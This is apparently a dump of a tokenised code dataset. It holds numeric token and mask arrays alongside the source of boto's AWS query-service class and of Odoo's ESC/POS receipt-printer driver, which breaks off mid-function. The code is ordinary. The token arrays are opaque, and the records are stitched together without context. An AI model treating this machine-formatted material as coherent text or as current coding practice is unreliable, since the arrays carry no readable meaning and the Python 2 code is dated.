1532, 1705, 8514, 63, 908, 63, 698, 63, 495, 8340, 3709, 338, 10329, 315, 13205, 455, 3889, 272, 14538, 402, 1475, 3326, 14, 523, 627, 520, 1532, 1705, 14578, 63, 17867, 63, 908, 63, 589, 8340, 19107, 16535, 272, 6941, 315, 499, 14, 23, 11, 1475, 3326, 370, 5027, 11333, 2368, 272, 11233, 367, 4503, 543, 2018, 499, 14, 22, 14, 199, 199, 703, 485, 6878, 7074, 1893, 6302, 26, 4178, 921, 4757, 14, 1548, 14, 1308, 15, 18, 15, 4342, 15, 875, 14, 1360, 3, 908, 13, 875, 13, 7093, 199, 703, 485, 1589, 7249, 436, 284, 328, 22491, 26, 4178, 921, 4757, 14, 1548, 14, 1308, 15, 18, 15, 4342, 15, 875, 14, 1360, 3, 875, 13, 20034, 199, 703, 485, 25633, 650, 4893, 26, 4178, 921, 1544, 14, 1548, 14, 1308, 15, 2374, 15, 321, 1190, 15, 12636, 13, 2192, 614, 15, 199, 624, 199, 3, 3254, 26, 2597, 2387, 8878, 13, 20034, 3778, 31, 199, 3, 3254, 26, 2387, 1212, 273, 79, 1702, 76, 14, 24270, 14, 7772, 334, 269, 2005, 19520, 425, 5547, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 295, 199, 504, 1059, 492, 31084, 421, 199, 363, 452, 363, 275, 788, 9937, 1110, 297, 283, 362, 63, 908, 63, 589, 297, 283, 15246, 63, 908, 63, 495, 297, 1779, 283, 8514, 63, 908, 63, 698, 63, 495, 297, 283, 14578, 63, 17867, 63, 908, 63, 589, 297, 1779, 283, 1563, 3484, 792, 418, 421, 199, 63, 1712, 63, 70, 1273, 63, 264, 275, 295, 14, 2014, 360, 2561, 91, 9, 5227, 260, 327, 11077, 1551, 13, 22359, 2079, 8189, 19575, 5227, 260, 327, 11077, 4002, 13, 22359, 2079, 283, 2561, 1491, 1, 3134, 59, 29810, 358, 221, 327, 24757, 11333, 1475, 1680, 421, 199, 318, 6982, 63, 908, 63, 698, 63, 495, 8, 5252, 12, 289, 1650, 12, 8260, 304, 272, 408, 272, 9215, 83, 282, 1475, 901, 1059, 687, 314, 901, 536, 12, 3158, 12, 436, 272, 8603, 4528, 15693, 5252, 4542, 1124, 70, 1650, 4542, 1124, 5598, 20008, 1666, 2018, 272, 2624, 9701, 1337, 367, 1655, 2256, 14, 272, 408, 272, 340, 6748, 365, 488, 26, 267, 372, 2125, 272, 2203, 275, 26109, 435, 6748, 272, 340, 8260, 26, 267, 2203, 847, 29376, 435, 8260, 272, 340, 289, 1650, 26, 267, 2203, 847, 10871, 435, 289, 1650, 272, 2203, 847, 23618, 272, 372, 2203, 421, 199, 318, 3715, 63, 908, 63, 495, 8, 70, 495, 304, 272, 408, 6586, 7437, 5678, 3715, 316, 402, 282, 1475, 1059, 12, 2529, 282, 769, 402, 272, 3326, 14, 2104, 2615, 1526, 2072, 12, 1937, 520, 1532, 1705, 15246, 63, 908, 63, 495, 2313, 339, 408, 272, 2203, 275, 942, 339, 367, 28649, 12, 6748, 12, 289, 1650, 12, 8260, 315, 31084, 1252, 1122, 8, 70, 495, 304, 267, 340, 6748, 365, 488, 26, 288, 2203, 14, 740, 1332, 1051, 12, 488, 430, 288, 1980, 267, 901, 63, 495, 275, 6982, 63, 908, 63, 698, 63, 495, 8, 5252, 12, 289, 1650, 12, 8260, 9, 267, 2203, 14, 740, 1332, 1051, 12, 901, 63, 495, 430, 272, 372, 2203, 421, 199, 318, 18538, 63, 17867, 63, 908, 63, 589, 8, 70, 495, 304, 272, 408, 32488, 1475, 3326, 543, 16535, 11333, 2368, 12, 334, 69, 14, 71, 2020, 272, 28168, 436, 19850, 68, 8688, 436, 15373, 3062, 1901, 1967, 18897, 7869, 367, 5027, 4171, 436, 272, 7163, 543, 499, 14, 22, 14, 339, 1803, 282, 1059, 543, 314, 22515, 11333, 2368, 14, 272, 408, 272, 327, 3254, 26, 11955, 794, 272, 2203, 12, 1390, 63, 21009, 275, 3260, 378, 272, 327, 3648, 367, 19850, 503, 18776, 503, 469, 14, 503, 469, 59, 503, 1052, 272, 1343, 12, 1284, 12, 5071, 63, 500, 275, 378, 12, 378, 12, 378, 272, 367, 1336, 315, 485, 1712, 63, 70, 1273, 63, 264, 14, 19373, 8, 70, 495, 304, 267, 1343, 12, 1284, 12, 1572, 275, 1336, 14, 928, 1062, 1336, 14, 500, 1062, 1336, 14, 923, 342, 267, 340, 5071, 63, 500, 665, 1343, 26, 288, 2203, 847, 289, 495, 59, 5701, 63, 500, 26, 928, 61, 267, 5071, 63, 500, 275, 1284, 267, 340, 1572, 508, 5041, 1445, 503, 1572, 508, 283, 4863, 356, 288, 2203, 847, 1572, 288, 1980, 267, 2203, 847, 12100, 83, 5, 83, 7, 450, 334, 988, 63, 21009, 12, 1572, 59, 17, 5728, 267, 1390, 63, 21009, 847, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Mitali-Sodhi/CodeLingo
Dataset/python/awsqueryservice.py
79
4434
import os import urlparse import boto import boto.connection import boto.jsonresponse import boto.exception import awsqueryrequest class NoCredentialsError(boto.exception.BotoClientError): def __init__(self): s = 'Unable to find credentials' boto.exception.BotoClientError.__init__(self, s) class AWSQueryService(boto.connection.AWSQueryConnection): Name = '' Description = '' APIVersion = '' Authentication = 'sign-v2' Path = '/' Port = 443 Provider = 'aws' EnvURL = 'AWS_URL' Regions = [] def __init__(self, **args): self.args = args self.check_for_credential_file() self.check_for_env_url() if 'host' not in self.args: if self.Regions: region_name = self.args.get('region_name', self.Regions[0]['name']) for region in self.Regions: if region['name'] == region_name: self.args['host'] = region['endpoint'] if 'path' not in self.args: self.args['path'] = self.Path if 'port' not in self.args: self.args['port'] = self.Port try: boto.connection.AWSQueryConnection.__init__(self, **self.args) self.aws_response = None except boto.exception.NoAuthHandlerFound: raise NoCredentialsError() def check_for_credential_file(self): """ Checks for the existance of an AWS credential file. If the environment variable AWS_CREDENTIAL_FILE is set and points to a file, that file will be read and will be searched credentials. Note that if credentials have been explicitelypassed into the class constructor, those values always take precedence. """ if 'AWS_CREDENTIAL_FILE' in os.environ: path = os.environ['AWS_CREDENTIAL_FILE'] path = os.path.expanduser(path) path = os.path.expandvars(path) if os.path.isfile(path): fp = open(path) lines = fp.readlines() fp.close() for line in lines: if line[0] != '#': if '=' in line: name, value = line.split('=', 1) if name.strip() == 'AWSAccessKeyId': if 'aws_access_key_id' not in self.args: value = value.strip() self.args['aws_access_key_id'] = value elif name.strip() == 'AWSSecretKey': if 'aws_secret_access_key' not in self.args: value = value.strip() self.args['aws_secret_access_key'] = value else: print 'Warning: unable to read AWS_CREDENTIAL_FILE' def check_for_env_url(self): """ First checks to see if a url argument was explicitly passed in. If so, that will be used. If not, it checks for the existence of the environment variable specified in ENV_URL. If this is set, it should contain a fully qualified URL to the service you want to use. Note that any values passed explicitly to the class constructor will take precedence. """ url = self.args.get('url', None) if url: del self.args['url'] if not url and self.EnvURL in os.environ: url = os.environ[self.EnvURL] if url: rslt = urlparse.urlparse(url) if 'is_secure' not in self.args: if rslt.scheme == 'https': self.args['is_secure'] = True else: self.args['is_secure'] = False host = rslt.netloc port = None l = host.split(':') if len(l) > 1: host = l[0] port = int(l[1]) if 'host' not in self.args: self.args['host'] = host if port and 'port' not in self.args: self.args['port'] = port if rslt.path and 'path' not in self.args: self.args['path'] = rslt.path def _required_auth_capability(self): return [self.Authentication]
mit
[ 646, 747, 199, 646, 7097, 199, 646, 6055, 199, 646, 6055, 14, 2105, 199, 646, 6055, 14, 1001, 1310, 199, 646, 6055, 14, 1971, 199, 646, 11488, 1131, 1069, 199, 199, 533, 3091, 13428, 547, 8, 10914, 14, 1971, 14, 20380, 19992, 304, 339, 347, 636, 826, 721, 277, 304, 267, 308, 275, 283, 6005, 370, 2342, 6235, 7, 267, 6055, 14, 1971, 14, 20380, 19992, 855, 826, 721, 277, 12, 308, 9, 199, 199, 533, 10168, 3227, 3167, 8, 10914, 14, 2105, 14, 13226, 3227, 3225, 304, 339, 2812, 275, 2125, 272, 11994, 275, 2125, 272, 3261, 3353, 275, 2125, 272, 15995, 275, 283, 1037, 13, 86, 18, 7, 272, 6912, 275, 7324, 272, 10977, 275, 23865, 272, 18489, 275, 283, 7231, 7, 272, 31543, 2632, 275, 283, 13226, 63, 2632, 7, 339, 5044, 15293, 275, 942, 339, 347, 636, 826, 721, 277, 12, 1011, 589, 304, 267, 291, 14, 589, 275, 1249, 267, 291, 14, 1074, 63, 509, 63, 15591, 63, 493, 342, 267, 291, 14, 1074, 63, 509, 63, 1813, 63, 633, 342, 267, 340, 283, 1102, 7, 440, 315, 291, 14, 589, 26, 288, 340, 291, 14, 10708, 83, 26, 355, 4897, 63, 354, 275, 291, 14, 589, 14, 362, 360, 4551, 63, 354, 297, 4490, 291, 14, 10708, 83, 59, 16, 2733, 354, 1105, 355, 367, 4897, 315, 291, 14, 10708, 83, 26, 490, 340, 4897, 459, 354, 418, 508, 4897, 63, 354, 26, 717, 291, 14, 589, 459, 1102, 418, 275, 4897, 459, 6520, 418, 267, 340, 283, 515, 7, 440, 315, 291, 14, 589, 26, 288, 291, 14, 589, 459, 515, 418, 275, 291, 14, 2042, 267, 340, 283, 719, 7, 440, 315, 291, 14, 589, 26, 288, 291, 14, 589, 459, 719, 418, 275, 291, 14, 4313, 267, 862, 26, 288, 6055, 14, 2105, 14, 13226, 3227, 3225, 855, 826, 721, 277, 12, 1011, 277, 14, 589, 9, 288, 291, 14, 7231, 63, 1310, 275, 488, 267, 871, 6055, 14, 1971, 14, 1944, 21547, 3601, 26, 288, 746, 3091, 13428, 547, 342, 339, 347, 1104, 63, 509, 63, 15591, 63, 493, 8, 277, 304, 267, 408, 267, 13813, 367, 314, 444, 73, 611, 402, 376, 10168, 16338, 570, 14, 267, 982, 314, 3734, 1750, 10168, 63, 30553, 8246, 63, 3817, 365, 267, 663, 436, 4501, 370, 282, 570, 12, 626, 570, 911, 506, 1586, 436, 267, 911, 506, 17543, 6235, 14, 267, 3390, 626, 340, 6235, 1172, 2757, 1437, 317, 25171, 590, 12070, 267, 1901, 314, 1021, 3787, 12, 5204, 1338, 3544, 5452, 267, 13823, 14, 267, 408, 267, 340, 283, 13226, 63, 30553, 8246, 63, 3817, 7, 315, 747, 14, 2314, 26, 288, 931, 275, 747, 14, 2314, 459, 13226, 63, 30553, 8246, 63, 3817, 418, 288, 931, 275, 747, 14, 515, 14, 12131, 8, 515, 9, 288, 931, 275, 747, 14, 515, 14, 4441, 2936, 8, 515, 9, 288, 340, 747, 14, 515, 14, 6292, 8, 515, 304, 355, 4090, 275, 1551, 8, 515, 9, 355, 2385, 275, 4090, 14, 9684, 342, 355, 4090, 14, 1600, 342, 355, 367, 1004, 315, 2385, 26, 490, 340, 1004, 59, 16, 61, 1137, 32326, 717, 340, 14051, 315, 1004, 26, 1169, 536, 12, 574, 275, 1004, 14, 1294, 25283, 413, 9, 1169, 340, 536, 14, 1913, 342, 508, 283, 13226, 3946, 1197, 1304, 356, 1816, 340, 283, 7231, 63, 2732, 63, 498, 63, 344, 7, 440, 315, 291, 14, 589, 26, 2511, 574, 275, 574, 14, 1913, 342, 2511, 291, 14, 589, 459, 7231, 63, 2732, 63, 498, 63, 344, 418, 275, 574, 1169, 916, 536, 14, 1913, 342, 508, 283, 15088, 2300, 825, 3292, 1197, 356, 1816, 340, 283, 7231, 63, 4731, 63, 2732, 63, 498, 7, 440, 315, 291, 14, 589, 26, 2511, 574, 275, 574, 14, 1913, 342, 2511, 291, 14, 589, 459, 7231, 63, 4731, 63, 2732, 63, 498, 418, 275, 574, 288, 587, 26, 355, 870, 283, 3849, 26, 17329, 370, 1586, 10168, 63, 30553, 8246, 63, 3817, 7, 339, 347, 1104, 63, 509, 63, 1813, 63, 633, 8, 277, 304, 267, 408, 267, 7758, 5920, 370, 1937, 340, 282, 1166, 1423, 1990, 7662, 3032, 267, 315, 14, 221, 982, 880, 12, 626, 911, 506, 1202, 14, 221, 982, 440, 12, 652, 5920, 367, 314, 267, 23780, 402, 314, 3734, 1750, 2013, 315, 5070, 54, 63, 2632, 14, 267, 982, 642, 365, 663, 12, 652, 1077, 1395, 282, 9999, 12313, 2851, 370, 314, 267, 2435, 1265, 2934, 370, 675, 14, 267, 3390, 626, 1263, 1338, 3032, 7662, 370, 314, 1021, 3787, 267, 911, 5452, 13823, 14, 267, 408, 267, 1166, 275, 291, 14, 589, 14, 362, 360, 633, 297, 488, 9, 267, 340, 1166, 26, 288, 2150, 291, 14, 589, 459, 633, 418, 267, 340, 440, 1166, 436, 291, 14, 7744, 2632, 315, 747, 14, 2314, 26, 288, 1166, 275, 747, 14, 2314, 59, 277, 14, 7744, 2632, 61, 267, 340, 1166, 26, 288, 519, 2482, 84, 275, 7097, 14, 10290, 8, 633, 9, 288, 340, 283, 374, 63, 7817, 7, 440, 315, 291, 14, 589, 26, 355, 340, 519, 2482, 84, 14, 5512, 508, 283, 2859, 356, 490, 291, 14, 589, 459, 374, 63, 7817, 418, 275, 715, 355, 587, 26, 490, 291, 14, 589, 459, 374, 63, 7817, 418, 275, 756, 953, 1591, 275, 519, 2482, 84, 14, 12652, 288, 1844, 275, 488, 288, 634, 275, 1591, 14, 1294, 11633, 288, 340, 822, 8, 76, 9, 690, 413, 26, 355, 1591, 275, 634, 59, 16, 61, 355, 1844, 275, 1109, 8, 76, 59, 17, 566, 288, 340, 283, 1102, 7, 440, 315, 291, 14, 589, 26, 355, 291, 14, 589, 459, 1102, 418, 275, 1591, 288, 340, 1844, 436, 283, 719, 7, 440, 315, 291, 14, 589, 26, 355, 291, 14, 589, 459, 719, 418, 275, 1844, 953, 340, 519, 2482, 84, 14, 515, 436, 283, 515, 7, 440, 315, 291, 14, 589, 26, 355, 291, 14, 589, 459, 515, 418, 275, 519, 2482, 84, 14, 515, 15567, 347, 485, 2427, 63, 1178, 63, 21181, 8, 277, 304, 267, 372, 359, 277, 14, 10348, 61, 27844, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 747, 199, 646, 7097, 199, 646, 6055, 199, 646, 6055, 14, 2105, 199, 646, 6055, 14, 1001, 1310, 199, 646, 6055, 14, 1971, 199, 646, 11488, 1131, 1069, 199, 199, 533, 3091, 13428, 547, 8, 10914, 14, 1971, 14, 20380, 19992, 304, 339, 347, 636, 826, 721, 277, 304, 267, 308, 275, 283, 6005, 370, 2342, 6235, 7, 267, 6055, 14, 1971, 14, 20380, 19992, 855, 826, 721, 277, 12, 308, 9, 199, 199, 533, 10168, 3227, 3167, 8, 10914, 14, 2105, 14, 13226, 3227, 3225, 304, 339, 2812, 275, 2125, 272, 11994, 275, 2125, 272, 3261, 3353, 275, 2125, 272, 15995, 275, 283, 1037, 13, 86, 18, 7, 272, 6912, 275, 7324, 272, 10977, 275, 23865, 272, 18489, 275, 283, 7231, 7, 272, 31543, 2632, 275, 283, 13226, 63, 2632, 7, 339, 5044, 15293, 275, 942, 339, 347, 636, 826, 721, 277, 12, 1011, 589, 304, 267, 291, 14, 589, 275, 1249, 267, 291, 14, 1074, 63, 509, 63, 15591, 63, 493, 342, 267, 291, 14, 1074, 63, 509, 63, 1813, 63, 633, 342, 267, 340, 283, 1102, 7, 440, 315, 291, 14, 589, 26, 288, 340, 291, 14, 10708, 83, 26, 355, 4897, 63, 354, 275, 291, 14, 589, 14, 362, 360, 4551, 63, 354, 297, 4490, 291, 14, 10708, 83, 59, 16, 2733, 354, 1105, 355, 367, 4897, 315, 291, 14, 10708, 83, 26, 490, 340, 4897, 459, 354, 418, 508, 4897, 63, 354, 26, 717, 291, 14, 589, 459, 1102, 418, 275, 4897, 459, 6520, 418, 267, 340, 283, 515, 7, 440, 315, 291, 14, 589, 26, 288, 291, 14, 589, 459, 515, 418, 275, 291, 14, 2042, 267, 340, 283, 719, 7, 440, 315, 291, 14, 589, 26, 288, 291, 14, 589, 459, 719, 418, 275, 291, 14, 4313, 267, 862, 26, 288, 6055, 14, 2105, 14, 13226, 3227, 3225, 855, 826, 721, 277, 12, 1011, 277, 14, 589, 9, 288, 291, 14, 7231, 63, 1310, 275, 488, 267, 871, 6055, 14, 1971, 14, 1944, 21547, 3601, 26, 288, 746, 3091, 13428, 547, 342, 339, 347, 1104, 63, 509, 63, 15591, 63, 493, 8, 277, 304, 267, 408, 267, 13813, 367, 314, 444, 73, 611, 402, 376, 10168, 16338, 570, 14, 267, 982, 314, 3734, 1750, 10168, 63, 30553, 8246, 63, 3817, 365, 267, 663, 436, 4501, 370, 282, 570, 12, 626, 570, 911, 506, 1586, 436, 267, 911, 506, 17543, 6235, 14, 267, 3390, 626, 340, 6235, 1172, 2757, 1437, 317, 25171, 590, 12070, 267, 1901, 314, 1021, 3787, 12, 5204, 1338, 3544, 5452, 267, 13823, 14, 267, 408, 267, 340, 283, 13226, 63, 30553, 8246, 63, 3817, 7, 315, 747, 14, 2314, 26, 288, 931, 275, 747, 14, 2314, 459, 13226, 63, 30553, 8246, 63, 3817, 418, 288, 931, 275, 747, 14, 515, 14, 12131, 8, 515, 9, 288, 931, 275, 747, 14, 515, 14, 4441, 2936, 8, 515, 9, 288, 340, 747, 14, 515, 14, 6292, 8, 515, 304, 355, 4090, 275, 1551, 8, 515, 9, 355, 2385, 275, 4090, 14, 9684, 342, 355, 4090, 14, 1600, 342, 355, 367, 1004, 315, 2385, 26, 490, 340, 1004, 59, 16, 61, 1137, 32326, 717, 340, 14051, 315, 1004, 26, 1169, 536, 12, 574, 275, 1004, 14, 1294, 25283, 413, 9, 1169, 340, 536, 14, 1913, 342, 508, 283, 13226, 3946, 1197, 1304, 356, 1816, 340, 283, 7231, 63, 2732, 63, 498, 63, 344, 7, 440, 315, 291, 14, 589, 26, 2511, 574, 275, 574, 14, 1913, 342, 2511, 291, 14, 589, 459, 7231, 63, 2732, 63, 498, 63, 344, 418, 275, 574, 1169, 916, 536, 14, 1913, 342, 508, 283, 15088, 2300, 825, 3292, 1197, 356, 1816, 340, 283, 7231, 63, 4731, 63, 2732, 63, 498, 7, 440, 315, 291, 14, 589, 26, 2511, 574, 275, 574, 14, 1913, 342, 2511, 291, 14, 589, 459, 7231, 63, 4731, 63, 2732, 63, 498, 418, 275, 574, 288, 587, 26, 355, 870, 283, 3849, 26, 17329, 370, 1586, 10168, 63, 30553, 8246, 63, 3817, 7, 339, 347, 1104, 63, 509, 63, 1813, 63, 633, 8, 277, 304, 267, 408, 267, 7758, 5920, 370, 1937, 340, 282, 1166, 1423, 1990, 7662, 3032, 267, 315, 14, 221, 982, 880, 12, 626, 911, 506, 1202, 14, 221, 982, 440, 12, 652, 5920, 367, 314, 267, 23780, 402, 314, 3734, 1750, 2013, 315, 5070, 54, 63, 2632, 14, 267, 982, 642, 365, 663, 12, 652, 1077, 1395, 282, 9999, 12313, 2851, 370, 314, 267, 2435, 1265, 2934, 370, 675, 14, 267, 3390, 626, 1263, 1338, 3032, 7662, 370, 314, 1021, 3787, 267, 911, 5452, 13823, 14, 267, 408, 267, 1166, 275, 291, 14, 589, 14, 362, 360, 633, 297, 488, 9, 267, 340, 1166, 26, 288, 2150, 291, 14, 589, 459, 633, 418, 267, 340, 440, 1166, 436, 291, 14, 7744, 2632, 315, 747, 14, 2314, 26, 288, 1166, 275, 747, 14, 2314, 59, 277, 14, 7744, 2632, 61, 267, 340, 1166, 26, 288, 519, 2482, 84, 275, 7097, 14, 10290, 8, 633, 9, 288, 340, 283, 374, 63, 7817, 7, 440, 315, 291, 14, 589, 26, 355, 340, 519, 2482, 84, 14, 5512, 508, 283, 2859, 356, 490, 291, 14, 589, 459, 374, 63, 7817, 418, 275, 715, 355, 587, 26, 490, 291, 14, 589, 459, 374, 63, 7817, 418, 275, 756, 953, 1591, 275, 519, 2482, 84, 14, 12652, 288, 1844, 275, 488, 288, 634, 275, 1591, 14, 1294, 11633, 288, 340, 822, 8, 76, 9, 690, 413, 26, 355, 1591, 275, 634, 59, 16, 61, 355, 1844, 275, 1109, 8, 76, 59, 17, 566, 288, 340, 283, 1102, 7, 440, 315, 291, 14, 589, 26, 355, 291, 14, 589, 459, 1102, 418, 275, 1591, 288, 340, 1844, 436, 283, 719, 7, 440, 315, 291, 14, 589, 26, 355, 291, 14, 589, 459, 719, 418, 275, 1844, 953, 340, 519, 2482, 84, 14, 515, 436, 283, 515, 7, 440, 315, 291, 14, 589, 26, 355, 291, 14, 589, 459, 515, 418, 275, 519, 2482, 84, 14, 515, 15567, 347, 485, 2427, 63, 1178, 63, 21181, 8, 277, 304, 267, 372, 359, 277, 14, 10348, 61, 27844, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
bodi000/odoo
addons/hw_escpos/controllers/main.py
125
14043
# -*- coding: utf-8 -*- import commands import logging import simplejson import os import os.path import io import base64 import openerp import time import random import math import md5 import openerp.addons.hw_proxy.controllers.main as hw_proxy import pickle import re import subprocess import traceback from threading import Thread, Lock from Queue import Queue, Empty try: import usb.core except ImportError: usb = None try: from .. import escpos from ..escpos import printer from ..escpos import supported_devices except ImportError: escpos = printer = None from PIL import Image from openerp import http from openerp.http import request from openerp.tools.translate import _ _logger = logging.getLogger(__name__) class EscposDriver(Thread): def __init__(self): Thread.__init__(self) self.queue = Queue() self.lock = Lock() self.status = {'status':'connecting', 'messages':[]} def supported_devices(self): if not os.path.isfile('escpos_devices.pickle'): return supported_devices.device_list else: try: f = open('escpos_devices.pickle','r') return pickle.load(f) f.close() except Exception as e: self.set_status('error',str(e)) return supported_devices.device_list def add_supported_device(self,device_string): r = re.compile('[0-9A-Fa-f]{4}:[0-9A-Fa-f]{4}'); match = r.search(device_string) if match: match = match.group().split(':') vendor = int(match[0],16) product = int(match[1],16) name = device_string.split('ID') if len(name) >= 2: name = name[1] else: name = name[0] _logger.info('ESC/POS: adding support for device: '+match[0]+':'+match[1]+' '+name) device_list = supported_devices.device_list[:] if os.path.isfile('escpos_devices.pickle'): try: f = open('escpos_devices.pickle','r') device_list = pickle.load(f) f.close() except Exception as e: self.set_status('error',str(e)) device_list.append({ 'vendor': vendor, 'product': product, 'name': name, }) try: f = open('escpos_devices.pickle','w+') f.seek(0) pickle.dump(device_list,f) f.close() except Exception as e: self.set_status('error',str(e)) def connected_usb_devices(self): connected = [] for device in self.supported_devices(): if usb.core.find(idVendor=device['vendor'], idProduct=device['product']) != None: connected.append(device) return connected def lockedstart(self): with self.lock: if not self.isAlive(): self.daemon = True self.start() def get_escpos_printer(self): try: printers = self.connected_usb_devices() if len(printers) > 0: self.set_status('connected','Connected to '+printers[0]['name']) return escpos.printer.Usb(printers[0]['vendor'], printers[0]['product']) else: self.set_status('disconnected','Printer Not Found') return None except Exception as e: self.set_status('error',str(e)) return None def get_status(self): self.push_task('status') return self.status def open_cashbox(self,printer): printer.cashdraw(2) printer.cashdraw(5) def set_status(self, status, message = None): _logger.info(status+' : '+ (message or 'no message')) if status == self.status['status']: if message != None and (len(self.status['messages']) == 0 or message != self.status['messages'][-1]): self.status['messages'].append(message) else: self.status['status'] = status if message: self.status['messages'] = [message] else: self.status['messages'] = [] if status == 'error' and message: _logger.error('ESC/POS Error: '+message) elif status == 'disconnected' and message: _logger.warning('ESC/POS Device Disconnected: '+message) def run(self): if not escpos: _logger.error('ESC/POS cannot initialize, please verify system dependencies.') return while True: try: timestamp, task, data = self.queue.get(True) printer = self.get_escpos_printer() if printer == None: if task != 'status': self.queue.put((timestamp,task,data)) time.sleep(5) continue elif task == 'receipt': if timestamp >= time.time() - 1 * 60 * 60: self.print_receipt_body(printer,data) printer.cut() elif task == 'xml_receipt': if timestamp >= time.time() - 1 * 60 * 60: printer.receipt(data) elif task == 'cashbox': if timestamp >= time.time() - 12: self.open_cashbox(printer) elif task == 'printstatus': self.print_status(printer) elif task == 'status': pass except Exception as e: self.set_status('error', str(e)) errmsg = str(e) + '\n' + '-'*60+'\n' + traceback.format_exc() + '-'*60 + '\n' _logger.error(errmsg); def push_task(self,task, data = None): self.lockedstart() self.queue.put((time.time(),task,data)) def print_status(self,eprint): localips = ['0.0.0.0','127.0.0.1','127.0.1.1'] ips = [ c.split(':')[1].split(' ')[0] for c in commands.getoutput("/sbin/ifconfig").split('\n') if 'inet addr' in c ] ips = [ ip for ip in ips if ip not in localips ] eprint.text('\n\n') eprint.set(align='center',type='b',height=2,width=2) eprint.text('PosBox Status\n') eprint.text('\n') eprint.set(align='center') if len(ips) == 0: eprint.text('ERROR: Could not connect to LAN\n\nPlease check that the PosBox is correc-\ntly connected with a network cable,\n that the LAN is setup with DHCP, and\nthat network addresses are available') elif len(ips) == 1: eprint.text('IP Address:\n'+ips[0]+'\n') else: eprint.text('IP Addresses:\n') for ip in ips: eprint.text(ip+'\n') if len(ips) >= 1: eprint.text('\nHomepage:\nhttp://'+ips[0]+':8069\n') eprint.text('\n\n') eprint.cut() def print_receipt_body(self,eprint,receipt): def check(string): return string != True and bool(string) and string.strip() def price(amount): return ("{0:."+str(receipt['precision']['price'])+"f}").format(amount) def money(amount): return ("{0:."+str(receipt['precision']['money'])+"f}").format(amount) def quantity(amount): if math.floor(amount) != amount: return ("{0:."+str(receipt['precision']['quantity'])+"f}").format(amount) else: return str(amount) def printline(left, right='', width=40, ratio=0.5, indent=0): lwidth = int(width * ratio) rwidth = width - lwidth lwidth = lwidth - indent left = left[:lwidth] if len(left) != lwidth: left = left + ' ' * (lwidth - len(left)) right = right[-rwidth:] if len(right) != rwidth: right = ' ' * (rwidth - len(right)) + right return ' ' * indent + left + right + '\n' def print_taxes(): taxes = receipt['tax_details'] for tax in taxes: 